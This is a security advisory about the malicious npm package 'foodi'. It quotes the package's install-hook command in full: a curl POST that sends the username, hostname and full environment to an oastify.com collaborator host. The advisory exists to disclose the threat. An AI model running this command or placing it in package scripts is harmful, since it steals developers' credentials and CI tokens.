🛡️ MAL-2026-12383 — foodi

Malicious code in foodi (npm)

Source: amazon-inspector

package.json declares preinstall and postinstall lifecycle scripts that both execute curl -X POST -k -s https://y0zhmssf65c8er7btoglvt9bg2mtakc81.oastify.com -d "u=$(whoami)&h=$(hostname)&e=$(env)". On npm install, the package runs whoami, hostname, and dumps the full process environment, then POSTs the collected data to a Burp Collaborator (oastify.com) subdomain over TLS with certificate verification disabled (-k). Environment variables on developer and CI machines routinely contain credentials, API keys, and CI tokens. The package's main module is empty, consistent with a squat/dependency-confusion payload whose sole function is install-time exfiltration.